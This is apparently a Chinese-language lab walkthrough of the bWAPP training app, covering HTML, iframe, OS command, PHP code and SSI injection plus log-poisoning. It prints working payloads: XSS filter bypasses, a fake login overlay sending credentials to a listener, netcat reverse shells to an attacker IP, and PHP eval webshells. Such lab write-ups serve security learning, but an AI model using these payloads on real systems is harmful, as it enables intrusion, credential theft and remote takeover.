bwapp玩法總結之一
html injection-Reflected(GET)類型
1,low級別,隨便輸入,觀察到輸入什麽即會輸出什麽。(即沒有進行任何過濾)
輸入<script>alert(11)</script>
可以成功彈框,說明存在html註入。(註明:html註入包含xss註入)
可以以讀取跟目錄下的圖片:
在輸入框中輸入:
<img src="../index.png"/>
即可。
2,medium級別,直接輸入<script>alert(11)</script>
發現無法成功彈框,對<script>alert(11)</script>
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%31%29%3C%2F%73%63%72%69%70%74%3E
,使用該腳本進行註入,發現註入成功,即可以成功彈框。編碼推薦網址為(http://www.toolsxx.com/code/xss.html)
3,high級別,發現無論如何都無法成功進行彈框,即也無法進行html註入,那原因是什麽呢?
讓我們一起來看看源碼吧。
在不同等級下分別對應不同的函數:low-no_check, medium-xss_check_1, high-xss_check_3。
4,在low級別下源碼為:
沒有進行任何過濾,輸入什麽,立刻輸出什麽。
5,在medium級別下源碼為:
?
在medium級別,由源碼可知,該級別下將用戶輸入的“>"和”<"替換為了他們所對應的html實體>和<,但是最後又進行了一次url解碼,所以繞過方法為:先對>和<進行url編碼,即可繞過。編碼結果為:%3Cscript%3Ealert(11)%3C/script%3E
6,在high級別下源碼為:
由源碼可知,在high級別下使用了php中防止註入的終極函數htmlentitiles(),在此處沒有註入成功,雖然嘗試了很久,但是依舊沒有成功。
html injection-Reflected(post)類型
該類型下所調用的函數與html injection-Reflected(get)類型完全一樣。只是將表單的提交方式由get變為了post。
在不同等級下分別對應不同的函數:low-no_check, medium-xss_check_1, high-xss_check_3。
html injection-Reflected(url)類型
1,在low級別下:url: http://192.168.80.141/bWAPP/htmli_current_url.php? 後面加上什麽就返回什麽,
嘗試輸入<script>alert(11)</script>
進行彈框,發現彈框失敗,從而輸入的腳本進行了url編碼,個人立即猜測是因為在瀏覽器的輸入框中輸入的原因,所以立即使用burpsuite進行抓包,然後再在url後面加上?<script>alert(11)</script>
再點擊Forward發送該報文,彈窗成功,即腳本執行成功。
2,在medium級別下,由於火狐瀏覽器對url進行了編碼,所以無法繼續使用low級別下的方法進行彈框,但是腳本依舊可以成功執行,在ie瀏覽器中的url後面加上:
?<h1>volcano18</h1>
,發現該腳本成功執行,執行結果如圖:
其實也是可以彈框的,只是ie瀏覽器和谷歌瀏覽器禁用了部分js腳本,所以導致彈框失敗,在url後面加上?<script>alert(11)</script>
執行結果如下:腳本可以成功執行,只是被ie瀏覽器阻止其運行。
3,在high別下,由於又使用了防止輸入的終極函數htmlentitiles(),無法進行註入。
查看html injection-Reflected(url)後端處理部分源碼如下:low-0, medium-1, high-2,
在low和medium級別下,沒有進行任何過濾,都是直接獲取url然後將其直接輸出,而high級別下使用了xss_check_3函數對host後面的部分進行了過濾處理,使得無法進行註入。
html injection-stored(blog)類型
該類型為存儲型的html註入,即所提交的腳本會重復執行。
1,在low級別下,沒有進行任何過濾,直接輸入腳本<script>alert(‘volcano18‘)</script>
即可成功彈框,
也可以使用腳本<script>alert(document.cookie)</script>
讀取用戶的cookie
也可以讀取我事先放到根目錄下的圖片:使用腳本
<img src="../index.png"/>
等一些後期利用方面可以自己隨便選取一個模塊自己練手,本人在這裏只針對這些模塊的一些繞過方式和利用方式進行講解。
一種有趣的玩法:直接留言如下代碼,在自己的kali中使用nc -lvp 80進行監聽,可以直接查看用戶輸入的用戶名和密碼:
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.174.133/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
輸入上述代碼後,會出現如下用戶名和密碼的輸入框:
在輸入框輸入用戶名和密碼後,會在kali虛擬機上面接受的相應的用戶名和密碼,比如我輸入admin123和volcano18,會在kali上出現如下結果:即得到對方的用戶名和密碼。
2,在medium級別下,試了很久沒有成功執行腳本,最後無奈,只好查看源碼了,查看源碼發現,不論是medium級別還是high級別,都使用了xss_check_3函數進行了過濾,源碼如下:
對留言框的輸入使用了xss_check_3函數進行過濾,xss_check_3函數源碼如下:
然而在xss_check_3中使用了防止html註入的終極函數htmlspecialchars(),所以在html injection-stored(blog)類型中,不論是medium級別還是high級別均無法進行註入。
3,在high級別下沒法註入。
iFrame Injection類型
1,在low級別下,首先從url:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250 觀察到robots.txt文件,剛剛好被讀取到界面上顯示,於是查看源碼發現,ParamUrl後面所包含的路徑直接內嵌在iframe標簽中:如圖:
於是我進行了如下利用,讀取根目錄下的index.png圖片,將url改為:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=192.168.174.128/../../index.png&ParamWidth=250&ParamHeight=250即可以成功讀取根目錄下的圖片:
可以也將url改為:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250 從而將百度網頁內嵌在iframe框架中,
也可以直接構造playload進行彈框:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=javascript:alert(11);&ParamWidth=250&ParamHeight=250,即將ParamUrl的值設置為javascript:alert(11);
也可以這樣構造playload將url設置為:
192.168.174.128/bWAPP/iframei.php?ParamUrl=" onload=alert(11)></iframe>//&ParamWidth=250&ParamHeight=250
即將iframe標簽提前閉合。
2,在medium級別下,在參數ParamUrl試過了各種腳本,也玩了很久很久,發現無論如何,src總是等於robots.txt於是估計可能是ParamUrl參數無法改變,那麽真的不能註入了嗎?這時我便想起了該url中的另外兩個參數,沒想到真的在另外兩個參數註入成功了,將ParamWidth參數值設置為" onload=alert(11)>//即可成功註入。
3,在high級別下,有沒有成功進行註入,估計又是使用了防止html註入的終極函數htmlspecialchars(),於是查看源碼:
發現在medium級別時,使用的是xss_check_4()函數進行過濾,查看xss_check_4函數如下:
使用了addslashes()函數進行過濾,該函數會在預定義字符之前添加反斜杠,會添加反斜杠預定義字符有:單引號(‘),雙引號(“),反斜杠(?),NULL。使用該函數進行過濾采用上述方法完全可以進行繞過。
在high級別下,使用的是xss_check_3()函數進行過濾
該函數中采用了防止xss註入的終極函數htmlspecialchars(),所以無法進行註入。
LDAP Connection Settings
這個ldap註入不會呀,應該是環境沒有搭建好,懶得搞。
LDAP Connection Settings
應該也是環境沒有搭建好,懶得搞。
OS Command Injection
在low級別下:直接進行命令執行沒有任何過濾。
www.baidu.com&&net user
www.baidu.com&&ifconfig
www.baidu.com&&ls
對&&符,|符,&符號的一些解釋。
command1 && command2 先執行command1後執行command2
command1 | command2 只執行command2
command1 & command2 先執行command2後執行command1
Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2
一般像這種的命令執行就直接反彈shell了,反彈方法如下:
在瀏覽器輸入框輸入
www.baidu.com|nc 192.168.174.133 1818 -e /bin/bash
在自己的kali上進行監聽
nc -lp 1818 -v
python -c "import pty;pty.spawn('/bin/bash')"
在medium級別下:
對&&符和分號;進行了過濾,但是並沒有對管道符進行過濾,照樣繞過。
127.0.0.1|ls
下面就不使用上述的方法反彈shell了,使用kali自帶的一種工具commix進行命令註入,使用方法和sqlmap類型,使用方法如下:
commix -u "http://192.168.174.130/bWAPP/commandi.php" --data="target=127.0.0.1&form=submit" --cookie="security_level=1; PHPSESSID=8df91cf7aabc31f6a57a52246338a94c"
成功拿到shell。
在high級別下,繼續使用commix發現也出了shell但是其實是沒法執行命令的,個人認為是commix的緩存作用,sqlmap也遇到過類似的情況。
commix一用就上癮了啊。
OS Command Injection - Blind
在low級別下,直接反彈shell吧。首先在自己的kali上使用nc -lvp 4445對4445端口進行監聽,後在輸入框輸入如下命令:點擊ping
192.168.174.133 && nc 192.168.174.133 4445 -e /bin/bash
成功拿到shell
在medium級別下,照樣反彈shell。
輸入命令後點擊ping
192.168.174.133 | nc 192.168.174.133 4446 -e /bin/bash
成功拿到shell
在high級別下沒有註入成功。
送上一篇有關os命令註入的文章:
http://thehackpot.blogspot.com/2014/05/blind-os-command-injection-attacks.html
PHP Code Injection
在url後面直接加上
?message=id
即將url設置為:http://192.168.174.130/bWAPP/phpi.php?message=pwd發現直接返回了pwd
於是將message的值設置為:message=pwd;system(pwd)發現命令pwd被執行了,執行結果如下:
於是立刻進行寫馬,然後使用菜刀直接連接,竟然真的連接上了,開心。
fputs(fopen(‘1.php‘,‘w+‘),‘<?php @eval($_POST[volcano18])?>‘)
既然系統命令都可以直接執行了,那麽在這裏也可以反彈shell,將message的值設置為test;system(‘nc 192.168.174.133 7777 -e /bin/bash‘)
在kali上對7890端口進行監聽
nc -lvp 7777
成功反彈shell
emmmm,每次反彈shell時,靶機就變卡了,可怕。
在medium下和high級別下使用的htmlspecialchars()函數進行了過濾,沒法註入,其實個人很是不喜歡bwapp,因為他總是喜歡將中級和高級的難度設置成一樣的,搞得我每次都在中級停留好久。
過濾代碼如下:
推薦一篇關於php code injection的文章:http://www.polaris-lab.com/index.php/archives/254/
Server-Side Includes (SSI) Injection(服務器端包含註入)
也就是通過在輸入框通過包含一些命令,使服務端執行啦
比如:
<!--#exec cmd = "id"-->
拿shell吧:
<!--#exec cmd = "nc 192.168.174.133 1818 -e /bin/bash"-->
由於本人並沒有做過web開發,所以自然對ssl並不是很了解,其實個人理解也就是通過一定的方式,比如包含,使服務端執行我們自定義的命令罷了。今年幹一年web開發,日後會進行補充。下面找到一篇有關ssl註入的文章:
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
bwapp日誌寫馬拿shell
找到bwapp靶機中的日誌目錄為:
http://192.168.174.130/var/log/apache2/access.log
直接寫木馬了:
192.168.174.130/<?php @eval($_POST[volcano18]);?>
雖然有報錯目錄不存在,但是這個報錯也被記錄在了bwapp靶機的錯誤日誌目錄中,好了,直接用菜刀連接吧,
直接就連接上了:
bwapp玩法總結之一